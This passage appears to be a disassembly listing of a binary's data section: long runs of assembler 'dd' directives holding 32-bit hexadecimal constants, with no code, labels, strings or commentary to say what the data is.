		dd 1DE1374h, 725DB46Ch,	0E26345D1h, 372F7056h, 0BB710195h
		dd 52D5B9D1h, 617FD8ECh, 279E0D02h, 0E3198260h,	66757A50h
		dd 13617926h, 0BD90F2B3h, 5558B852h, 40808825h,	27D7DB81h
		dd 10D21534h, 34B8E6ADh, 66F5DB25h, 0F8521298h,	5876B35Bh
		dd 0C6BFC4BBh, 4AAEE380h, 3A5E0044h, 63B42AEAh,	402A260h
		dd 0FF76F0DFh, 0DC1D5CD1h, 0E88CB800h, 832B97C9h, 254A9055h
		dd 0AE670B21h, 0EF2DBC1Ch, 312840E7h, 0A70F459Dh, 102DB501h
		dd 0A6026A16h, 82D9E02Bh, 9236014Fh, 50FC3170h,	92993953h
		dd 6125DAF3h, 22AC217Ch, 38CA09DEh, 57DDA3h, 28B6BFE5h
		dd 0F64F5B99h, 3017B20Fh, 2C2C4C95h, 3F26F021h,	2019C2h
		dd 342C8EBBh, 0C3E93109h, 620F710Dh, 231F74C2h,	395A81CDh
		dd 7BFA8DDAh, 81A80CC4h, 835E1D27h, 2DD0C1E0h, 8FE0A3h
		dd 0FB89BCDDh, 312C7C52h, 0A549F913h, 7C23FB1h,	0F6F8755Bh
		dd 0B19D09DEh, 0E3435C0Eh, 95F1D98Ah, 256C283Dh, 6ECF5E90h
		dd 36E314C0h, 0E10B41CEh, 46C67310h, 565A01E2h,	0F24ABA66h
		dd 0E9903A59h, 3CBB1CB8h, 9089E8B1h, 375DDC8Ah,	9D1811E0h
		dd 0A232E5C2h, 113757EEh, 4F9F1D11h, 9E831E3Fh,	35C164B1h
		dd 36883B77h, 4BCB0055h, 489C3A60h, 0F9098B7Ah,	71CDF413h
		dd 12899669h, 205FEF45h, 70FAD367h, 2B178434h, 6A046B3Eh
		dd 0DEEB0D3Dh, 989480C0h, 4F17E463h, 0B694124Fh, 14A106Eh
		dd 0B9852908h, 282E4AFh, 42D8E53Eh, 46060B1h, 1D03987Eh
		dd 1B998695h, 71E7CA3Bh, 853182EAh, 5B02099Dh, 0A2D35CB0h
		dd 49A4A089h, 98568215h, 5109DE90h, 69D12960h, 46E18100h
		dd 25134702h, 0A5C95B61h, 0A3BF10F3h, 314325C1h, 89F99FC1h
		dd 7313115Ch, 7FF26A0h,	0E95D8509h, 0E2259471h,	57E10920h
		dd 78AFA8h, 9C1E2783h, 1000620Ch, 63B7AD8Ah, 0E881D9B5h
		dd 0FB53041Fh, 0A260C82Bh, 2A2400F1h, 1EC7E1AEh, 4691003Ch
		dd 0ABC40B36h, 0E4C48D8Ch, 0BDB861FFh, 0E0B78A2Ah, 0BB3197F5h
		dd 7A7102FEh, 7C02D88h,	51E7967Ch, 69380FAAh, 5FBB5AC7h
		dd 4AFEB720h, 0BA818BADh, 0E8E30F1Dh, 9B01A1F5h, 11A84CD1h
		dd 435249E9h, 42C677F9h, 0F90FCCBFh, 966B23Bh, 5C31759Dh
		dd 4725C45Fh, 0A5B5D7B3h, 57FE2300h, 120BE781h,	0A5A5CA9h
		dd 1D75957Fh, 9B53ED0Fh, 13C96C25h, 7A4BFC48h, 0EE5504E7h
		dd 0A5C0F371h, 0BF6A8DD5h, 0B480BEB7h, 115BB830h, 0B986A039h
		dd 0A6599F2Bh, 4AC4DA47h, 481AEA0h, 634EFAF3h, 4EA4B80Ah
		dd 0A602006Eh, 0FCF8E7D7h, 9DC735Ch, 82738C71h,	75E5D072h
		dd 6D82A29h, 0E8144AA5h, 1D23ABAAh, 0B6BF803h, 0AA4C99DBh
		dd 94401A20h, 8AC340ADh, 0DB092C7Eh, 0DC3A07DAh, 3639DC57h
		dd 0B599A4E8h, 880DD804h, 2D147BBBh, 0AD28E0E3h, 4A82822Ah
		dd 4FDC61C2h, 1D46D6h, 964F6285h, 17C06C35h, 0A823BDE8h
		dd 20198EAFh, 47A2F54Ah, 3FD9091Bh, 2E7BC77Dh, 198A732Fh
		dd 2FFEF2FFh, 0D2642E2Bh, 0E91FD55Dh, 967B84Eh,	0B03ABC98h
		dd 80442879h, 0BB2B8857h, 0AA260E00h, 64F81297h, 195D9F98h
		dd 0DA2B1E10h, 0C215886Ah, 2B5E8A7Fh, 5174F3E9h, 0A79AC028h
		dd 93BBC09h, 815780AEh,	9977AEBh, 0E1FF5F03h, 3AD81055h
		dd 9F0D0128h, 0AE1BE6AAh, 0BD8C7F80h, 3594975Fh, 0FB8B5744h
		dd 0CE6B1CF5h, 45F127Ah, 79E886BDh, 0AF3BF675h,	6A648513h
		dd 0C48170C5h, 382F233Dh, 6088F13Ah, 200809BAh,	0D8B3147h
		dd 0D077709h, 0E9F3DB61h, 25EB6E70h, 18E25387h,	1DDB757h
		dd 0E2279755h, 0FDD3C878h, 1AC4C54Bh, 0F7B804ADh, 931073Bh
		dd 7A863550h, 3B38450Ch
		dd 64A3D412h, 0E7F3A05Fh, 0E994104Bh, 80C29EABh, 16506D9Ch
		dd 274B74F2h, 77E5800Fh, 702EB1Ch, 584341A0h, 5D379589h
		dd 0EDE02B06h, 8CE718BEh, 820F468Ah, 0A0E82744h, 32AC3Eh
		dd 26CBBA43h, 0A3F827CDh, 0C0DE1D48h, 0D39F0C07h, 78A00008h
		dd 3F6C3AD0h, 9700D716h, 5BC72EB9h, 0F41C68h, 61BFF0F2h
		dd 81488A6Dh, 0FE3BEC3h, 0BD29902Ch, 0CB095FF1h, 0CDF64AE4h
		dd 0C29228A0h, 0EC1236FCh, 0B2F87985h, 392FC2D4h, 0B5554F29h
		dd 961A113Eh, 0E9E461EEh, 8CF73F9Eh, 29E855B3h,	599709B5h
		dd 0B6810BBDh, 12B869BDh, 41BEE039h, 0ED9D236Ch, 13742F1Ah
		dd 0F993EAACh, 79DBC39h, 0F9C85894h, 9FF85922h,	0CDD264Bh
		dd 4E92644Ch, 64C5BFF1h, 12249087h, 97DBA71Dh, 241E7C78h
		dd 0EBD08ACBh, 0AB804437h, 0C5923D1Bh, 0D64800E8h, 9D89F950h
		dd 0A7C50DDDh, 0AB800446h, 3AB796DBh, 0C85B507Ah, 65FA33EEh
		dd 3FDE3Dh, 0F0863A02h,	0E4D64CB7h, 1A0E04A7h, 0BC5BADF6h
		dd 0A67B5F41h, 14E40204h, 388EF8Bh, 0A830F768h,	92DFF6DCh
		dd 9D3C01B3h, 0EB802392h, 0D1322E96h, 0E6E32Bh,	7FBF90D7h
		dd 500923D3h, 0D63DB73Ch, 9CC8F0A0h, 7FB90076h,	61ADA432h
		dd 0CD1FBBBAh, 4C279821h, 62C300A9h, 66165C78h,	942F34BBh
		dd 72C15B61h, 4A2AB4F8h, 0F4E8830h, 0E02BFAD9h,	61E4B073h
		dd 0DF8B0E4Bh, 0C580365Ch, 59A77D5Fh, 0A9C47112h, 668B39E2h
		dd 6E0948BFh, 7193E4BDh, 0D8D5004Ch, 0AD53B9D2h, 619704E6h
		dd 5F0032D9h, 0DB9D49E9h, 0E0E8D84Ah, 150CE930h, 0F0F1E276h
		dd 0EADC39A3h, 0D0611274h, 0AE3BF30Dh, 8C2CBF41h, 4B800EC8h
		dd 93BD981Eh, 67DC008Eh, 0CD8A30F6h, 94973F43h,	0B7EC7432h
		dd 83AC3C10h, 0DA9AF2A5h, 0F99DE225h, 88579319h, 0DD00329Dh
		dd 470FA121h, 12803EBEh, 0AB89B723h, 4482BF4Eh,	1BC5B1Dh
		dd 2EFA52D9h, 8D296C31h, 742E04FDh, 0C40C9BE3h,	0E382BC5Dh
		dd 0DFEBC260h, 0C20082C5h, 404F3C7Ch, 258C0163h, 3679F764h
		dd 66822014h, 512E1B00h, 0A359BA3Fh, 0BD5A4A12h, 33344E12h
		dd 5E751F82h, 376A5299h, 746BEE56h, 6BE227D1h, 91FD3555h
		dd 2E098117h, 11685FD7h, 9B71142Dh, 0B1355D69h,	983E8601h
		dd 2A035FDDh, 2910C18Dh, 979C6B0Bh, 0D1BD1733h,	0D4ABB91Ch
		dd 0A8110DAh, 0E6E2C54Ah, 0D7B0E1C0h, 0BA8F342Ah, 2050B891h
		dd 90F13836h, 7CCD3BD0h, 0E798522Bh, 44DA4F06h,	997F78Ah
		dd 0F673EC68h, 0DD181559h, 54EB661h, 0BB3B6A7Bh, 8212CE6Eh
		dd 0ACD5B963h, 73038C18h, 6FEF9FF8h, 1EAF9881h,	0B60F4A96h
		dd 2C30B492h, 2E71F74Ch, 893133Ah, 330E23B5h, 1222E89Dh
		dd 2C84A396h, 2A0F6B50h, 10A697D6h, 0F9C441E0h,	397A6612h
		dd 55BFD371h, 0EA08252Fh, 1C01397Ah, 0E2FF921Fh, 41F22AE0h
		dd 8100E2DFh, 54FE69D3h, 38BF9625h, 2808DD5h, 0CA58BB50h
		dd 2EF93B72h, 9BDE560h,	49319913h, 3257A009h, 3D46400Bh
		dd 94CD9520h, 0B0E09AE8h, 25AC0D8Fh, 825BF1A3h,	50C973A5h
		dd 8A02B676h, 0CF26AD93h, 0E351F438h, 0C54C28E9h, 59072553h
		dd 0AEB55287h, 0F079EA8Bh, 7F4D9539h, 0AF601664h, 3115B773h
		dd 18F4FD85h, 132308E8h, 848702C6h, 0BD10CB5Ch,	81800BF1h
		dd 0DDC9EFDFh, 0C65F255Dh, 0D30995BDh, 708756F2h, 3204F07Ch
		dd 0F353E96Bh, 7DAD0813h, 29C18B8Bh, 8FE7594Fh,	902BC780h
		dd 887A9018h, 0A80083F0h, 6EBD750Eh, 82561Bh, 0BC1CEF36h
		dd 0E37FF0DEh, 0F820504Fh, 224A8E9h, 684BD370h,	667D4ACFh
		dd 5F50091Bh, 54FC905Bh, 0FA7D070Dh, 0E14AA62Bh, 172FCBA7h
		dd 7F30AE22h, 24B738FEh, 1B48C84h, 36AB2924h, 0DEA9F5Bh
		dd 89E04C17h, 45471251h, 7AEBE14Dh, 0B80B226Eh,	0C4DE6B57h
		dd 935B708h, 1A7D585Ah,	0B66ED7CDh, 175179B5h, 0CCC0C490h
		dd 0BD7809D7h, 440844EDh, 0B860EF93h, 8951C4B7h, 0AD0B24FBh
		dd 955299BCh, 0D1FFE851h, 121E756Ah, 8E8DB301h,	95FD1784h
		dd 0DC093AE8h, 0B7026A53h, 30E8800Eh, 4B6D794Ch, 906EF205h
		dd 1DEF47B7h, 0E237AF03h, 258B541Ch, 7573231h, 7404F7A9h
		dd 0C8A198Ch, 517DF90Dh, 0FD05D31Eh, 15E95B35h,	17B038ABh
		dd 0B79F2390h, 74278089h, 82525936h, 0A5207EB0h, 0F1315107h
		dd 1C4577CEh, 2B233988h, 0DCCB002Ch, 441D41B2h,	526A9B0Eh
		dd 54A645B5h, 19EC74E9h, 0CA94F700h, 515260B0h,	805F0459h
		dd 0B961A7F3h, 16A5913Fh, 0A8C8D0h, 0B673125Fh,	3016E22Ah
		dd 2A4D6376h, 95098599h, 302B6B8Dh, 32699D1Dh, 0B5290D84h
		dd 0D8290D55h, 0EFB70915h, 5151492Eh, 566449h, 0A455C344h
		dd 3DB07DBEh, 2AE0694Ah, 427012CFh, 2218E65Bh, 0FA9A9531h
		dd 0DE36855h, 0FBB2840Bh, 0DB601B27h, 9F851096h, 1081A64h
		dd 40F8BE24h, 0E4E26122h, 36E1714Eh, 0F4FE482Ah, 2A316AB1h
		dd 2A51C96Ah, 212ACC8Dh, 60BBB3FEh, 64BF0B0Fh, 809559h
		dd 11C98501h, 90C77195h, 30AAD78Dh, 8AF38134h, 0C82BB002h
		dd 880C8C0Fh, 6640665Fh, 95B5AAB8h, 21DBF48Ch, 0D72C2EBFh
		dd 4B61C6F4h, 0A2B664E9h, 93C07D76h, 0EE62B4BFh, 3059770h
		dd 0C28C233h, 5E4DFD56h, 0F23A16C5h, 0B2EAD3C2h, 5AE91723h
		dd 19D5BB31h, 83B7A26Bh, 126E36BBh, 0B6161D20h,	0B73B22E9h
		dd 347D4058h, 0B1B4074Ah, 6C294565h, 78A2801Dh,	1FE71D22h
		dd 804B09DEh, 0CE69C4B1h, 60190BB2h, 0ADCE57FAh, 415FAF53h
		dd 123E7CCAh, 0BFFA6CEh, 0DC4C055Fh, 0ACD461FAh, 44E06FB8h
		dd 0C2709DF9h, 6171722Dh, 56EE8B25h, 14A551C9h,	0CFE243F6h
		dd 0B30EDF56h, 39B676BCh, 48B38BE0h, 93BABB01h,	0B89B58DDh
		dd 0E72E3F36h, 0C94225B4h, 0CABDFFh, 9F78A576h,	475A3E6Fh
		dd 872547E8h, 0B5A7E96Dh, 0DFFD003Ch, 0CA7CF8BBh, 4842A5Fh
		dd 95E960BAh, 8A9E29F1h, 57880D42h, 0B57FD01Ah,	811791D4h
		dd 647A5330h, 0F3EC5F20h, 7DD49D6Ah, 0FE0A8A2h,	0DD07536Bh
		dd 5C3757C1h, 0F9BFA74Ch, 0CAF67AB6h, 9FD500D4h, 0F3478A22h
		dd 605E0CBDh, 0FDF8BE89h, 0A3D93EA7h, 5C7ADB03h, 0B1C825E1h
		dd 0D0B3AD3h, 5D860F58h, 614FD996h, 2E210F6h, 6F6050E1h
		dd 5E1EBF44h, 80D9D0AAh, 2BE9A2F6h, 0E192FD28h,	0A049B72Eh
		dd 2E83361h, 8CF4C4B6h,	8B46EEE4h, 0F352512Eh, 26417227h
		dd 12535F5Bh, 0A72E5205h, 0F56A5EFEh, 0B318E01h, 0CB9C8FD9h
		dd 13355C13h, 0EAE134AFh, 0C2F616Ah, 0DBBA3910h, 79B95802h
		dd 5C920250h, 1444510Fh, 52A209ACh, 8DB7BF20h, 167675A6h
		dd 0CA184CF2h, 5861A7Dh, 13B3D42Fh, 8164DB60h, 0E412EB5Bh
		dd 2CDF56C6h, 302DDE35h, 938D910h, 87DE7865h, 0C3A92316h
		dd 12A66B96h, 0D0B4A8ABh, 0D3884A01h, 0E7BD29E6h, 0CEF1A1DCh
		dd 3B555277h, 0F18AB010h, 0AE739561h, 53181B59h, 1D337D3Eh
		dd 135273DDh, 0DF502EE3h, 81F98801h, 0D404C37Ah, 60905859h
		dd 0F00C4E2h, 1047A1E9h, 365C9AF9h, 153A0B3Ah, 0EC2A985Bh
		dd 2C2009DEh, 4B541F95h, 0F390FE8Bh, 0DAE77050h, 80F3EB3Fh
		dd 0BD2DBFF5h, 0F4805750h, 152C318h, 0C6B6519Dh, 7E756805h
		dd 0A60877FEh, 85B78B02h, 8A07A254h, 0AFFAE17Dh, 0CE21912h
		dd 9189298Fh, 68BE1A5Ah, 0F4DE7625h, 0FD203B4Eh, 1D262E56h
		dd 4B599ACAh, 5E0170A7h, 3A7D3108h, 4BE9048Ch, 0BB0BD1C0h
		dd 0D756E6CCh, 31D0846Bh, 4DFB5ADh, 0AB0CF5BDh,	707C5F8Ah
		dd 99BA9521h, 90614CD7h
		dd 164AB53Ah, 577A467Bh, 57A4666Eh, 0D00F7BB5h,	7205CB36h
		dd 0CDB45C3Fh, 0AB1513BBh, 2012D636h, 96122F51h, 53305360h
		dd 6FD2BEh, 673E8F0Bh, 8B5A5E38h, 5E47CB48h, 0C815B120h
		dd 0B918388Ch, 23CCE88Eh, 0CF5C2820h, 0F704B41Eh, 966C7B49h
		dd 0B7F0BBEh, 60E4A954h, 1B046D95h, 0FC162C41h,	4C71FD5h
		dd 40E05925h, 0EA50DCBFh, 0D6B72F4Ah, 53C8512Dh, 5A1F4FB3h
		dd 69B85B58h, 7AD6416h,	2AD55634h, 5BDEE395h, 0D2BB3009h
		dd 5A2104CAh, 0C7365FCDh, 4ED2BC7Bh, 0F6620201h, 0D8242BC5h
		dd 0C018DBAAh, 5B53F82Ch, 1BDA690h, 7E9A314Fh, 0DFECA0BCh
		dd 0AE9C011h, 8FCC740Fh, 86752100h, 32695779h, 435456C4h
		dd 20C84401h, 812A2F37h, 46C7855Fh, 9085FD8Ah, 23C86BAAh
		dd 0D4490918h, 5E1E0955h, 848C431Eh, 803B15E8h,	0A02B2498h
		dd 0D77B8B61h, 0C1AA0229h, 0CD36D530h, 0FDD48ABCh, 4A26282Bh
		dd 0D898739Dh, 6D7C881Dh, 1641E934h, 0D32DDBFBh, 0C4C95FFAh
		dd 0E1E59D31h, 0DCDA3F74h, 8C1BF8h, 755D8986h, 0B126B7CAh
		dd 8BB35309h, 80CE15Bh,	8845E32Ah, 66E4A11Dh, 2B501B10h
		dd 38BE0BA0h, 1D0379E9h, 0B2E14E94h, 0DC840780h, 5E00A4F5h
		dd 578C159Ah, 5B13866Fh, 0A22788DBh, 8048EF3Eh,	85E7DA3Bh
		dd 39CA4382h, 3F800D95h, 5F762924h, 0F7758160h,	684E6216h
		dd 0D4612209h, 8D4B3A70h, 83B42C31h, 0C0D90D6Ah, 26999Bh
		dd 5BC075B3h, 0A8F78D59h, 65131225h, 9B1550C9h,	5CD92527h
		dd 1D46D68Ah, 7D2913h, 28EBD928h, 4B4EF174h, 5496F609h
		dd 0AEBE87A9h, 1B6157E1h, 8A173DC4h, 20AC96D8h,	25F28A5Fh
		dd 0B748C6F9h, 81814859h, 39E7A7CFh, 7DBDB240h,	54379712h
		dd 10801D91h, 1CAABD99h, 85CFA901h, 800F95FAh, 0EF59522Fh
		dd 32909E1Fh, 5191313Fh, 858B0817h, 27416225h, 5CEB445Ch
		dd 5D78DC50h, 0FA8CA01h, 8F7E3FC4h, 7D56DC3Ah, 62232EE1h
		dd 0D4FBCC33h, 4E42ACECh, 4F80CBDBh, 5B4148A9h,	8896A818h
		dd 0B50D096Ah, 0A73E9145h, 55515CF8h, 4EDE1200h, 85176Ah
		dd 0E3242972h, 705E2EBFh, 13B8164Ah, 0FB022117h, 0E8F61460h
		dd 0FE800083h, 0C2EB6B18h, 0B9036020h, 0D32E0DB1h, 43D6A1E9h
		dd 0F4693B61h, 12584BCh, 89655B56h, 2BF61815h, 695905EBh
		dd 0BF509240h, 4B4FD357h, 0DBC6C545h, 70388001h, 0DD73D007h
		dd 85098B60h, 8114A077h, 0E6E344EFh, 985B9D4Ch,	28A1C6A7h
		dd 95560B29h, 0C8701EABh, 0BDFF1495h, 0D35575C2h, 14C9709Ah
		dd 9AD41A30h, 0A983BEh,	28DEBB6Ch, 0B79671C7h, 0AD503A39h
		dd 2CD37CA0h, 8FC94E61h, 6161C05Eh, 34218909h, 0DA2A4571h
		dd 0C01DC8A6h, 0B5876DFDh, 0C0B27500h, 80AB8A7Eh, 63E19FE7h
		dd 3857C23Dh, 12C6BF40h, 0F60D1B68h, 301BB250h,	7503BF43h
		dd 0BA70D534h, 52DC5AFAh, 4A59B7DAh, 0B901E66Ah, 10517EAh
		dd 81CE89C5h, 0C44B7111h, 72FC573Bh, 0C31B3D2h,	1969B529h
		dd 0F66EE1C6h, 0F917F391h, 0CCA7912Ch, 3325C878h, 0D9127335h
		dd 2A7181Ah, 1B8FAEF0h,	665D4D81h, 17B0021h, 0A9A09F63h
		dd 0E7070A6Bh, 9E0E0335h, 0B21A7DDBh, 10F13978h, 9DF330E9h
		dd 0DCD28173h, 0C76FC180h, 80892C0Ch, 0D1EF6128h, 1C907A38h
		dd 791A5A3Dh, 0EC71F180h, 0B11F510Eh, 0A79DDA0h, 9F0466B5h
		dd 0CE00EEB5h, 20A3C49h, 0FC51214h, 0CD31FF8Bh,	992B13F3h
		dd 0D117898Eh, 7693550Eh, 5EFA083Ch, 0F481DA9Bh, 89853A9Bh
		dd 7FBD0B3Eh, 0E3170DAFh, 1DB30061h, 4B94C68Eh,	779D001Bh
		dd 19CE9EEBh, 853FEE61h, 891C9FD3h, 12F0CB6Fh, 0AE940FB6h
		dd 5F00147Ah, 4103F6C8h, 5CD694FCh, 0B1EB52AEh,	9F6E6FAFh
		dd 6BF77602h, 0F9F4B2C8h, 0D3797A40h, 4F360022h, 0F4747D1Ah
		dd 0BB16667Ch, 748331BDh, 8B90B80Ch, 1143BDF9h,	0CDA55E84h
		dd 0C673C1F3h, 0F03CAD67h, 2A2B9531h, 8006377Dh, 72A8573Fh
		dd 5165164Eh, 24929954h, 60F45C5Bh, 0AA0FCB81h,	0D3B57273h
		dd 2FD1880Bh, 1D4D024Bh, 71EC5C0Dh, 6209129Ah, 929654B6h
		dd 0BD8B0402h, 0F6900B15h, 9C7B42F4h, 0F6B52DC0h, 73C58095h
		dd 2862A740h, 22A95BA9h, 0CC80888h, 61608402h, 0B9A5E990h
		dd 2F6AFDC8h, 9DE6830Fh, 9F01A920h, 428AE61h, 2A09BBC1h
		dd 0F420A66Bh, 595EDCh,	4D80C8B9h, 0B57EC520h, 0CF319639h
		dd 0E912B6ADh, 0E257B892h, 0D6984219h, 0E617DE58h, 0B6E6658Bh
		dd 0F5E85E2h, 2A29E5E2h, 6FA53B84h, 0EB9F01E3h,	0C29DB4DAh
		dd 56824A46h, 0D26F25E4h, 91B5B2C3h, 352EF88Bh,	8D6FFEF9h
		dd 97C42702h, 0E45DA37Ch, 41D0B43Bh, 3E0EBC6Ch,	0CF01CBF1h
		dd 712F3369h, 32800F05h, 3BF3EC8h, 6A2E18ABh, 14DC22FFh
		dd 0EB35DF00h, 0C0761524h, 0F73B0012h, 0F4845F16h, 0B8050FCCh
		dd 5B18A160h, 0F95B4BBCh, 2EAC5A40h, 7359332Dh,	21012042h
		dd 919B5BDh, 38823C2Ch,	0CD7F08F5h, 0F08112ABh,	0A309161Ch
		dd 0DE5170E6h, 4BDA4056h, 9D005E31h, 3EDF125Ch,	17AED37h
		dd 0DCE4F781h, 0C65F2E78h, 230740D7h, 857A9795h, 0ED8D330Bh
		dd 0F7B15716h, 84C06CC9h, 7BC271Dh, 2AC51298h, 1605CE95h
		dd 2005A99Dh, 0ABEF819Dh, 18CAB512h, 4D210BF1h,	0C2D0287Ah
		dd 0B6EAFE04h, 16BC86D6h, 2BD88B05h, 748DEFC8h,	548AD1E8h
		dd 0F0531CFCh, 0B35F17D9h, 619F0D7Eh, 5072093h,	0F3B2244Ah
		dd 0F38B600Bh, 0D0F09BC6h, 0F3B4614Ah, 197725BFh, 101FF4C9h
		dd 3204D380h, 511145E9h, 0ED4EE0DDh, 0BE6C9D28h, 49D5BF00h
		dd 0B07A129h, 0AF7BBD67h, 48A451ADh, 30D90C96h,	15A0A51Fh
		dd 0D49589FEh, 9528BB2Dh, 98F54B6Bh, 0F401FDCh,	57F8B58Ah
		dd 3A97BFEEh, 37445FCDh, 8DFB912h, 67D17AEFh, 0DBE08F16h
		dd 4BA9F6E8h, 0EFD9841Dh, 0CC8590DBh, 0D342FD4Ch, 420C609h
		dd 0EED92204h, 8289C695h, 90B7FC27h, 579B2F00h,	0E2B1F4h
		dd 39541512h, 6A19D23h,	0BFAC484Bh, 1995FEC0h, 2D39EC9Eh
		dd 0A3848147h, 0C02BBF49h, 7E16E3Bh, 5A324D2Ah,	4BC95B5h
		dd 1A0B8FD4h, 0E4567C60h, 0A363902Dh, 3E0312A5h, 0D32CF6F3h
		dd 0E49738DAh, 0BD160146h, 0F0AD06D9h, 7550568Bh, 1FDA5F4Bh
		dd 6AC019C8h, 2691715Ch, 4585FA1h, 0BD74ADEBh, 0F26BD622h
		dd 94A21000h, 9529A9F7h, 7F7425E5h, 1CB2D6CBh, 1BDC230h
		dd 907BF05h, 3FC794F2h,	0EB09786Eh, 0EE714A47h,	7D098A47h
		dd 9000993Dh, 5EAE91B4h, 0E8095BFCh, 0C78180A7h, 389571C4h
		dd 0E75AB814h, 0DFA1B0E0h, 0E60A5AF7h, 3016B22Fh, 4F007DF7h
		dd 8160E1FFh, 2C2451EEh, 0BE6876EBh, 0B8613F13h, 5E272D42h
		dd 0B8B473C6h, 71D889C2h, 513544E9h, 25FFBCD2h,	0FDC57E56h
		dd 7C49D41Ah, 7604DC91h, 192B45C9h, 509ECC1h, 667BB1BBh
		dd 66600C04h, 0DB802B80h, 0F122FFFh, 0F1E033F6h, 255BBD33h
		dd 92B53E4Fh, 0E180F781h, 0AF6F7Ah, 0A26B41F8h,	5A3D1FADh
		dd 0CFE20CEh, 8300B1F7h, 8AAA5B9Bh, 0BF53685Fh,	4296F9DBh
		dd 0B514DAE0h, 2F8910D1h, 412B4F01h, 2BB373EBh,	4C87C635h
		dd 755B6279h, 1A64A66Dh, 0F2A0CB63h, 312EDEDFh,	0F502A37Bh
		dd 0DF0DAEBAh, 4E8FF529h, 0FB692553h, 67024A6Fh, 73D509E0h
		dd 2030451h, 0F09304A6h, 41A2F7h, 559E36Dh, 0CE2E0ED3h
		dd 50606912h, 26B8D3C7h, 0AE8517BAh, 68618A40h,	2E479E79h
		dd 1E80609Bh, 81B0BDC6h, 0D76586B8h, 6CF0645Bh,	0E65E4A46h
		dd 3016B220h, 0F9E84207h
		dd 24C95395h, 0BE3B02FEh, 0EF75C3E9h, 185960D1h, 0EE16BABCh
		dd 20F28488h, 0C08C1000h, 2C8571C8h, 511102FCh,	7170870Fh
		dd 0FF51955Fh, 0C07D0954h, 7C04A393h, 6CEA560Eh, 0BF12662Ah
		dd 63F3266Ah, 519D0B04h, 123F2910h, 4F60E3C1h, 0EED45780h
		dd 14E19189h, 0C7090D04h, 7B308513h, 2FB4890Fh,	9FDCCF61h
		dd 0B2C9A72Ah, 510D48BBh, 0B2504E86h, 8F950088h, 5EFD2218h
		dd 3E098B1h, 1FE0EDD5h,	968ACA76h, 2A342461h, 4DB881B9h
		dd 0BB9F6401h, 4BCA51F3h, 9DF8E760h, 4E70BA89h,	60924FB5h
		dd 66E11756h, 1095D895h, 32D59Dh, 0B47E1368h, 1204BBC2h
		dd 401BA246h, 6A85EC94h, 9513893Dh, 70AE142Dh, 0B9D78196h
		dd 7D58880Ah, 0F289FB90h, 7790E450h, 293300F0h,	0FBB30C7Bh
		dd 0E9E85A4Ch, 30622D30h, 95B87AFh, 0B19D0390h,	0DF8B24E0h
		dd 7749C891h, 5302EB35h, 0FD89F74Ah, 0F410B293h, 612C09A5h
		dd 0C253B42h, 3382E3C7h, 0D523759Dh, 495B1E9Ch,	33B370E7h
		dd 77318288h, 0E997EF09h, 0D8F4733Dh, 0BE2F3986h, 0FEA68BB8h
		dd 0DD60DFA8h, 14A7A149h, 0EEF560CDh, 25161510h, 11C8C561h
		dd 51C84B34h, 0E31100C5h, 0AFD8A8DDh, 0DC52E8A9h, 3918CCEEh
		dd 1760C929h, 25E526C9h, 678A6A48h, 0AE296CA0h,	8DEF6EB5h
		dd 99D061FDh, 6D40D2FDh, 10BD2991h, 97C1DCDAh, 9602461Ah
		dd 165719C9h, 0D47CBC15h, 147D7A01h, 5B882BAEh,	9D38603Eh
		dd 0BB8023F9h, 0F8080BAAh, 6D549666h, 7F55BF00h, 0E40F3144h
		dd 0CABB0553h, 0EE159DFAh, 0B796EC82h, 95208284h, 61D75FABh
		dd 0F22F0CC3h, 2684B8A6h, 2D7EA7BDh, 3D5618ABh,	7B4012C4h
		dd 596E0BB0h, 32FE5A00h, 0BB443D2Dh, 8C4A05E6h,	0AB7D9062h
		dd 7ED537DAh, 7ECE7DC0h, 0CD95B488h, 601B645Bh,	4FC7465h
		dd 7C7E5AD9h, 0D210BC58h, 0B9D671AAh, 5E23E2Fh,	0A299E6D3h
		dd 19A682B9h, 7635571Bh, 0DF891711h, 80071E00h,	8B976FE7h
		dd 1F8A1830h, 2431733Ah, 3BEE5E51h, 92A08DAh, 60B95B12h
		dd 0D46BD3h, 89EF6937h,	25ED5B64h, 7EF9B516h, 41CB3B00h
		dd 245D3874h, 187FB6Eh,	0B5BD89BEh, 0C683A513h,	0DC319C54h
		dd 0C10BD902h, 5DD69345h, 0D17980D3h, 0BF3F9326h, 495A368Bh
		dd 9EAD16EEh, 4676F361h, 2595F36Bh, 2CA2C5C5h, 0B1CA89D7h
		dd 0D7A00A79h, 541AB925h, 152D71A9h, 0AD5F604h,	1F44960Bh
		dd 0B0F1EB04h, 0D2EFE761h, 2C59538Bh, 0C1A0Eh, 74CD759Eh
		dd 5C390004h, 0BBAE246Eh, 7225BC90h, 52F3C55Bh,	0AD4545D5h
		dd 5F9D9710h, 18990502h, 5C511DFCh, 0D0716BF7h,	5DF2C807h
		dd 0F0661F70h, 0F18100D7h, 3B4C0ACEh, 567CB279h, 8EA0BB04h
		dd 0BCBD5F5Bh, 531C8384h, 55002DB2h, 0E0B65CE1h, 0E400738Eh
		dd 0B549E927h, 0B4F5F07h, 0F9D7782Dh, 5B4BB7D0h, 272307CCh
		dd 7BC199BDh, 0C26DD929h, 3871EC5Ch, 6A72B311h,	19B24FE6h
		dd 88EBA3B0h, 0E96E9B00h, 4D950192h, 9909716h, 81A05B53h
		dd 3D97B977h, 831B91E9h, 9877914Fh, 4BB759D5h, 0C778206Fh
		dd 9B1CF7A6h, 0FD0041DFh, 2CD84F64h, 9BE0516Dh,	975BE9F0h
		dd 8D89DF00h, 5BE1A4Dh,	0A12069A8h, 0BF660929h,	7F71033Fh
		dd 588EBB81h, 0DF1021EBh, 82520F50h, 0CB305EE3h, 204E74h
		dd 0F8DB9A7Ch, 0B372F737h, 0E26B0100h, 0DD65DC54h, 5F6F38CAh
		dd 503790AFh, 11DF2B00h, 52C7F5h, 0B86D94D0h, 2A59F381h
		dd 5608D434h, 0C8CBE687h, 9EC19DB5h, 1BB4704h, 8B1CCBE4h
		dd 54A3DDE6h, 0F1A0F456h, 775075E8h, 8BEEEAF7h,	9584DE4Bh
		dd 96D8BC0Ah, 9715223Ch, 6CBBC310h, 141FCE00h, 0D531980h
		dd 26805A8h, 0ABEAF4BAh, 0E9FD0F57h, 67059CB8h,	14697A36h
		dd 0F5BB93BBh, 44C04C4Ah, 0F16C2F24h, 87BC6E6Dh, 7C757700h
		dd 0B501C199h, 222A4B31h, 0D3570462h, 0C3197123h, 0DD2F2084h
		dd 9375249Ch, 16FC0242h, 0DC765AF4h, 713FECAh, 0B86674ABh
		dd 0AF3D8032h, 0E5A0A04h, 85849E81h, 0D1FF9782h, 1A9375Fh
